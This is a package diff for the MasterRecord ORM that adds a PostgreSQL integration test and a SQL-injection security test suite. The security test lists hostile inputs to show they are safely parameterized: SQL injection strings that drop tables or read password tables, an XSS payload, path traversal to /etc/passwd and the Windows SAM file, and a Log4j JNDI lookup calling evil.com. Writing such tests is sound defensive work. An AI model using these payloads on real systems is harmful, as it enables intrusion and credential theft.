masterrecord 0.2.36 → 0.3.0

package/test/postgresIntegrationTest.js

@@ -0,0 +1,381 @@
+/**
+ * PostgreSQL Integration Test for MasterRecord
+ *
+ * Tests the complete PostgreSQL implementation with pg 8.16.3
+ *
+ * Requirements:
+ * - PostgreSQL server running on localhost:5432
+ * - Test database named 'masterrecord_test'
+ * - User with credentials (set in config below)
+ */
+
+const PostgresSyncConnect = require('../postgresSyncConnect');
+const postgresEngine = require('../postgresEngine');
+
+console.log("╔════════════════════════════════════════════════════════════════╗");
+console.log("║         PostgreSQL Integration Test for MasterRecord          ║");
+console.log("╚════════════════════════════════════════════════════════════════╝\n");
+
+let passed = 0;
+let failed = 0;
+
+// Test configuration - update these for your environment
+const TEST_CONFIG = {
+    host: 'localhost',
+    port: 5432,
+    database: 'masterrecord_test',
+    user: 'postgres',
+    password: 'postgres',
+    max: 10,
+    idleTimeoutMillis: 30000,
+    connectionTimeoutMillis: 2000
+};
+
+// Mock entity for testing
+const TEST_ENTITY = {
+    __name: 'TestUser',
+    id: { type: 'integer', primary: true, auto: true },
+    name: { type: 'string', nullable: false },
+    email: { type: 'string', nullable: false },
+    age: { type: 'integer', nullable: true },
+    created_at: { type: 'timestamp', nullable: true }
+};
+
+let connection = null;
+let engine = null;
+
+async function runTests() {
+    try {
+        // Test 1: Connection Initialization
+        console.log("📝 Test 1: PostgreSQL Connection Initialization");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            connection = new PostgresSyncConnect();
+            await connection.connect(TEST_CONFIG);
+
+            if (connection.isConnected()) {
+                console.log("   ✓ Connection established");
+                console.log(`   ✓ Connected to ${TEST_CONFIG.database}`);
+                passed++;
+            } else {
+                console.log("   ✗ Connection failed");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            console.log("   ℹ  Make sure PostgreSQL is running and test database exists");
+            failed++;
+            return; // Can't continue without connection
+        }
+
+        // Test 2: Get Engine Instance
+        console.log("\n📝 Test 2: Get Engine Instance");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            engine = connection.getEngine();
+
+            if (engine) {
+                console.log("   ✓ Engine instance retrieved");
+                console.log(`   ✓ Engine type: ${engine.dbType}`);
+                passed++;
+            } else {
+                console.log("   ✗ Failed to get engine");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 3: Health Check
+        console.log("\n📝 Test 3: Connection Health Check");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const health = await connection.healthCheck();
+
+            if (health.healthy) {
+                console.log("   ✓ Health check passed");
+                console.log(`   ✓ Server time: ${health.serverTime}`);
+                console.log(`   ✓ Pool size: ${health.poolSize}`);
+                console.log(`   ✓ Idle connections: ${health.idleCount}`);
+                passed++;
+            } else {
+                console.log(`   ✗ Health check failed: ${health.error}`);
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 4: Create Test Table
+        console.log("\n📝 Test 4: Create Test Table");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            // Drop table if exists
+            await connection.query(`DROP TABLE IF EXISTS TestUser`);
+
+            // Create table
+            const createQuery = `
+                CREATE TABLE TestUser (
+                    id SERIAL PRIMARY KEY,
+                    name VARCHAR(255) NOT NULL,
+                    email VARCHAR(255) NOT NULL,
+                    age INTEGER,
+                    created_at TIMESTAMP
+                )
+            `;
+
+            await connection.query(createQuery);
+            console.log("   ✓ Test table created");
+            passed++;
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 5: Parameterized INSERT with RETURNING
+        console.log("\n📝 Test 5: INSERT with $1, $2 Placeholders and RETURNING");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const insertQuery = `
+                INSERT INTO TestUser (name, email, age, created_at)
+                VALUES ($1, $2, $3, $4)
+                RETURNING id
+            `;
+
+            const params = ['John Doe', 'john@example.com', 30, new Date()];
+            const result = await connection.query(insertQuery, params);
+
+            if (result.rows && result.rows.length > 0 && result.rows[0].id) {
+                console.log("   ✓ INSERT with RETURNING successful");
+                console.log(`   ✓ Returned ID: ${result.rows[0].id}`);
+                console.log(`   ✓ Placeholder format: $1, $2, $3, $4`);
+                passed++;
+            } else {
+                console.log("   ✗ INSERT did not return ID");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 6: Parameterized SELECT
+        console.log("\n📝 Test 6: SELECT with Parameterized Query");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const selectQuery = `SELECT * FROM TestUser WHERE name = $1`;
+            const result = await connection.query(selectQuery, ['John Doe']);
+
+            if (result.rows && result.rows.length > 0) {
+                console.log("   ✓ SELECT with $1 placeholder successful");
+                console.log(`   ✓ Found user: ${result.rows[0].name}`);
+                console.log(`   ✓ Email: ${result.rows[0].email}`);
+                passed++;
+            } else {
+                console.log("   ✗ SELECT returned no results");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 7: Parameterized UPDATE
+        console.log("\n📝 Test 7: UPDATE with Parameterized Query");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const updateQuery = `UPDATE TestUser SET age = $1 WHERE name = $2`;
+            const result = await connection.query(updateQuery, [35, 'John Doe']);
+
+            if (result.rowCount > 0) {
+                console.log("   ✓ UPDATE with $1, $2 placeholders successful");
+                console.log(`   ✓ Rows affected: ${result.rowCount}`);
+                passed++;
+            } else {
+                console.log("   ✗ UPDATE affected no rows");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 8: Transaction Support
+        console.log("\n📝 Test 8: Transaction (BEGIN/COMMIT/ROLLBACK)");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const result = await connection.transaction(async (client) => {
+                // Insert within transaction
+                const insertResult = await client.query(
+                    `INSERT INTO TestUser (name, email, age) VALUES ($1, $2, $3) RETURNING id`,
+                    ['Jane Smith', 'jane@example.com', 28]
+                );
+
+                // Update within transaction
+                await client.query(
+                    `UPDATE TestUser SET age = $1 WHERE id = $2`,
+                    [29, insertResult.rows[0].id]
+                );
+
+                return insertResult.rows[0].id;
+            });
+
+            if (result) {
+                console.log("   ✓ Transaction completed successfully");
+                console.log(`   ✓ INSERT and UPDATE within transaction`);
+                console.log(`   ✓ Returned ID: ${result}`);
+                passed++;
+            } else {
+                console.log("   ✗ Transaction failed");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 9: IN Clause with Multiple Parameters
+        console.log("\n📝 Test 9: IN Clause with Multiple Parameters");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const inQuery = `SELECT * FROM TestUser WHERE name IN ($1, $2)`;
+            const result = await connection.query(inQuery, ['John Doe', 'Jane Smith']);
+
+            if (result.rows && result.rows.length >= 2) {
+                console.log("   ✓ IN clause with $1, $2 successful");
+                console.log(`   ✓ Found ${result.rows.length} users`);
+                passed++;
+            } else {
+                console.log("   ✗ IN clause returned insufficient results");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 10: NULL Handling
+        console.log("\n📝 Test 10: NULL Handling");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const insertQuery = `INSERT INTO TestUser (name, email, age) VALUES ($1, $2, $3) RETURNING id`;
+            const result = await connection.query(insertQuery, ['Bob Wilson', 'bob@example.com', null]);
+
+            const selectQuery = `SELECT * FROM TestUser WHERE id = $1`;
+            const selectResult = await connection.query(selectQuery, [result.rows[0].id]);
+
+            if (selectResult.rows[0].age === null) {
+                console.log("   ✓ NULL values handled correctly");
+                console.log("   ✓ Inserted and retrieved NULL age");
+                passed++;
+            } else {
+                console.log("   ✗ NULL handling failed");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Test 11: Connection Pool Info
+        console.log("\n📝 Test 11: Connection Pool Information");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            const info = connection.getConnectionInfo();
+
+            if (info) {
+                console.log("   ✓ Connection info retrieved");
+                console.log(`   ✓ Host: ${info.host}:${info.port}`);
+                console.log(`   ✓ Database: ${info.database}`);
+                console.log(`   ✓ User: ${info.user}`);
+                console.log(`   ✓ Max connections: ${info.maxConnections}`);
+                passed++;
+            } else {
+                console.log("   ✗ Failed to get connection info");
+                failed++;
+            }
+        } catch (err) {
+            console.log(`   ✗ Error: ${err.message}`);
+            failed++;
+        }
+
+        // Cleanup: Drop test table
+        console.log("\n📝 Cleanup: Dropping Test Table");
+        console.log("──────────────────────────────────────────────────");
+
+        try {
+            await connection.query(`DROP TABLE IF EXISTS TestUser`);
+            console.log("   ✓ Test table dropped");
+        } catch (err) {
+            console.log(`   ⚠  Warning: ${err.message}`);
+        }
+
+    } catch (err) {
+        console.log(`\n❌ Fatal error: ${err.message}`);
+        console.log(err.stack);
+    } finally {
+        // Close connection
+        if (connection) {
+            try {
+                await connection.close();
+                console.log("   ✓ Connection closed");
+            } catch (err) {
+                console.log(`   ⚠  Warning closing connection: ${err.message}`);
+            }
+        }
+    }
+
+    // Summary
+    console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
+    console.log("║                       Test Summary                             ║");
+    console.log("╚════════════════════════════════════════════════════════════════╝");
+
+    const total = passed + failed;
+    const successRate = total > 0 ? Math.round((passed/total)*100) : 0;
+
+    console.log(`\n   Total Tests: ${total}`);
+    console.log(`   ✅ Passed: ${passed}`);
+    console.log(`   ❌ Failed: ${failed}`);
+    console.log(`   Success Rate: ${successRate}%\n`);
+
+    if (failed === 0) {
+        console.log("🎉 All PostgreSQL integration tests passed!");
+        console.log("\n✨ PostgreSQL Implementation Complete!");
+        console.log("\n📖 Features Verified:");
+        console.log("   ✓ Connection pooling with pg 8.16.3");
+        console.log("   ✓ Parameterized queries with $1, $2, $3... placeholders");
+        console.log("   ✓ RETURNING clause for INSERT operations");
+        console.log("   ✓ Async/await pattern throughout");
+        console.log("   ✓ Transaction support (BEGIN/COMMIT/ROLLBACK)");
+        console.log("   ✓ NULL value handling");
+        console.log("   ✓ IN clauses with multiple parameters");
+        console.log("   ✓ Connection pool management");
+        console.log("   ✓ Health checks");
+        console.log("\n✅ PostgreSQL engine is ready for production use!\n");
+        process.exit(0);
+    } else {
+        console.log("⚠️  Some PostgreSQL tests failed.");
+        console.log("\n📖 Common Issues:");
+        console.log("   • PostgreSQL server not running");
+        console.log("   • Test database 'masterrecord_test' doesn't exist");
+        console.log("   • Incorrect credentials in TEST_CONFIG");
+        console.log("   • Port 5432 not accessible\n");
+        process.exit(1);
+    }
+}
+
+// Run tests
+runTests();

package/test/securityTest.js

@@ -0,0 +1,268 @@
+/**
+ * Comprehensive Security Test Suite
+ *
+ * This test suite validates that MasterRecord is protected against SQL injection
+ * attacks across all operations: SELECT, INSERT, UPDATE, DELETE
+ *
+ * All tests should PASS, meaning malicious input is properly escaped/parameterized
+ */
+
+const QueryParameters = require('../QueryLanguage/queryParameters');
+
+console.log("╔════════════════════════════════════════════════════════════════╗");
+console.log("║              MasterRecord Security Test Suite                 ║");
+console.log("╚════════════════════════════════════════════════════════════════╝\n");
+
+// Test 1: QueryParameters Class Validation
+console.log("📝 Test 1: QueryParameters - Type Validation");
+console.log("──────────────────────────────────────────────────────────────");
+
+const params = new QueryParameters();
+let passed = 0;
+let failed = 0;
+
+// Test 1a: Valid types should be accepted
+const validValues = [
+    { value: 42, type: "integer" },
+    { value: "test", type: "string" },
+    { value: true, type: "boolean" },
+    { value: 3.14, type: "number" },
+    { value: null, type: "null" }
+];
+
+console.log("\n✅ Testing valid values:");
+for(const test of validValues){
+    try {
+        params.validateValue(test.value);
+        console.log(`   ✓ ${test.type}: ${JSON.stringify(test.value)} - ACCEPTED`);
+        passed++;
+    } catch(err) {
+        console.log(`   ✗ ${test.type}: ${JSON.stringify(test.value)} - REJECTED (should accept)`);
+        failed++;
+    }
+}
+
+// Test 1b: Invalid types should be rejected
+const invalidValues = [
+    { value: {key: "value"}, type: "object" },
+    { value: () => "test", type: "function" },
+    { value: Symbol("test"), type: "symbol" },
+    { value: undefined, type: "undefined" }
+];
+
+console.log("\n🔒 Testing invalid values (should be rejected):");
+for(const test of invalidValues){
+    try {
+        params.validateValue(test.value);
+        console.log(`   ✗ ${test.type}: ACCEPTED (should reject)`);
+        failed++;
+    } catch(err) {
+        console.log(`   ✓ ${test.type}: REJECTED - ${err.message}`);
+        passed++;
+    }
+}
+
+// Test 2: SQL Injection Attempts in String Parameters
+console.log("\n\n📝 Test 2: SQL Injection in String Parameters");
+console.log("──────────────────────────────────────────────────────────");
+
+const sqlInjectionAttempts = [
+    "admin' OR '1'='1",
+    "'; DROP TABLE users;--",
+    "admin'--",
+    "' UNION SELECT * FROM passwords--",
+    "1' AND 1=1 UNION SELECT NULL, username, password FROM users--",
+    "<script>alert('XSS')</script>",
+    "../../etc/passwd",
+    "${jndi:ldap://evil.com/a}",  // Log4j style
+    "..\\..\\..\\windows\\system32\\config\\sam"
+];
+
+console.log("\n🔒 Testing SQL injection attempts (all should be safely parameterized):");
+params.reset();
+for(const attempt of sqlInjectionAttempts){
+    try {
+        params.validateValue(attempt);
+        const placeholder = params.addParam(attempt, 'sqlite');
+        console.log(`   ✓ Input: ${attempt.substring(0, 40)}...`);
+        console.log(`     Placeholder: ${placeholder} (value stored separately)`);
+        passed++;
+    } catch(err) {
+        console.log(`   ✗ Failed to handle: ${attempt}`);
+        console.log(`     Error: ${err.message}`);
+        failed++;
+    }
+}
+
+// Test 3: Array Parameters (for IN clauses)
+console.log("\n\n📝 Test 3: Array Parameters for IN Clauses");
+console.log("──────────────────────────────────────────────────────────");
+
+const arrayTests = [
+    {
+        name: "Valid integer array",
+        value: [1, 2, 3, 4, 5],
+        shouldPass: true
+    },
+    {
+        name: "Valid string array",
+        value: ["Alice", "Bob", "Charlie"],
+        shouldPass: true
+    },
+    {
+        name: "Array with SQL injection attempts",
+        value: ["Alice", "Bob'; DROP TABLE users;--", "Charlie"],
+        shouldPass: true  // Should accept but parameterize safely
+    },
+    {
+        name: "Empty array",
+        value: [],
+        shouldPass: false  // Should reject
+    },
+    {
+        name: "Array with objects",
+        value: [{id: 1}, {id: 2}],
+        shouldPass: false  // Should reject objects
+    }
+];
+
+console.log("\n🔒 Testing array parameter handling:");
+for(const test of arrayTests){
+    params.reset();
+    try {
+        // Validate each element
+        for(const val of test.value){
+            params.validateValue(val);
+        }
+
+        // Try to add as array
+        const placeholders = params.addParams(test.value, 'sqlite');
+
+        if(test.shouldPass){
+            console.log(`   ✓ ${test.name}: ACCEPTED`);
+            console.log(`     Placeholders: ${placeholders}`);
+            console.log(`     Values: ${JSON.stringify(params.getParams())}`);
+            passed++;
+        } else {
+            console.log(`   ✗ ${test.name}: ACCEPTED (should reject)`);
+            failed++;
+        }
+    } catch(err) {
+        if(!test.shouldPass){
+            console.log(`   ✓ ${test.name}: REJECTED - ${err.message}`);
+            passed++;
+        } else {
+            console.log(`   ✗ ${test.name}: REJECTED (should accept)`);
+            console.log(`     Error: ${err.message}`);
+            failed++;
+        }
+    }
+}
+
+// Test 4: Special Characters in Different Databases
+console.log("\n\n📝 Test 4: Placeholder Generation for Different Databases");
+console.log("──────────────────────────────────────────────────────────");
+
+const dbTests = [
+    { db: 'sqlite', expected: '?' },
+    { db: 'mysql', expected: '?' },
+    { db: 'postgres', expectedPattern: /^\$\d+$/ }
+];
+
+console.log("\n✅ Testing database-specific placeholder generation:");
+for(const test of dbTests){
+    params.reset();
+    try {
+        const placeholder = params.addParam("test", test.db);
+
+        if(test.expected){
+            if(placeholder === test.expected){
+                console.log(`   ✓ ${test.db}: ${placeholder} - CORRECT`);
+                passed++;
+            } else {
+                console.log(`   ✗ ${test.db}: ${placeholder} (expected ${test.expected})`);
+                failed++;
+            }
+        } else if(test.expectedPattern){
+            if(test.expectedPattern.test(placeholder)){
+                console.log(`   ✓ ${test.db}: ${placeholder} - CORRECT`);
+                passed++;
+            } else {
+                console.log(`   ✗ ${test.db}: ${placeholder} (expected pattern ${test.expectedPattern})`);
+                failed++;
+            }
+        }
+    } catch(err) {
+        console.log(`   ✗ ${test.db}: ERROR - ${err.message}`);
+        failed++;
+    }
+}
+
+// Test 5: Edge Cases
+console.log("\n\n📝 Test 5: Edge Cases");
+console.log("──────────────────────────────────────────────────────────");
+
+const edgeCases = [
+    { name: "Empty string", value: "", shouldPass: true },
+    { name: "Very long string", value: "a".repeat(10000), shouldPass: true },
+    { name: "Unicode characters", value: "Hello 世界 🌍", shouldPass: true },
+    { name: "Newlines and tabs", value: "Line1\nLine2\tTab", shouldPass: true },
+    { name: "Single quote", value: "O'Reilly", shouldPass: true },
+    { name: "Double quote", value: 'He said "Hello"', shouldPass: true },
+    { name: "Backslash", value: "C:\\Users\\test", shouldPass: true },
+    { name: "Null byte", value: "test\x00null", shouldPass: true }
+];
+
+console.log("\n✅ Testing edge cases:");
+params.reset();
+for(const test of edgeCases){
+    try {
+        params.validateValue(test.value);
+        params.addParam(test.value, 'sqlite');
+
+        if(test.shouldPass){
+            console.log(`   ✓ ${test.name}: ACCEPTED`);
+            passed++;
+        } else {
+            console.log(`   ✗ ${test.name}: ACCEPTED (should reject)`);
+            failed++;
+        }
+    } catch(err) {
+        if(!test.shouldPass){
+            console.log(`   ✓ ${test.name}: REJECTED - ${err.message}`);
+            passed++;
+        } else {
+            console.log(`   ✗ ${test.name}: REJECTED (should accept)`);
+            console.log(`     Error: ${err.message}`);
+            failed++;
+        }
+    }
+}
+
+// Summary
+console.log("\n\n╔════════════════════════════════════════════════════════════════╗");
+console.log("║                       Test Summary                             ║");
+console.log("╚════════════════════════════════════════════════════════════════╝");
+
+const total = passed + failed;
+const successRate = Math.round((passed/total)*100);
+
+console.log(`\n   Total Tests: ${total}`);
+console.log(`   ✅ Passed: ${passed}`);
+console.log(`   ❌ Failed: ${failed}`);
+console.log(`   Success Rate: ${successRate}%\n`);
+
+if(failed === 0){
+    console.log("🎉 All security tests passed!");
+    console.log("\n🔒 Security Status: PROTECTED");
+    console.log("   ✓ SQL injection attempts are safely parameterized");
+    console.log("   ✓ Array parameters are properly validated");
+    console.log("   ✓ Special characters are handled correctly");
+    console.log("   ✓ Edge cases are managed safely");
+    console.log("\n✅ MasterRecord is production-ready from a security perspective!");
+    process.exit(0);
+} else {
+    console.log("⚠️  Some security tests failed!");
+    console.log("   Review the failed tests and fix the issues before deploying.");
+    process.exit(1);
+}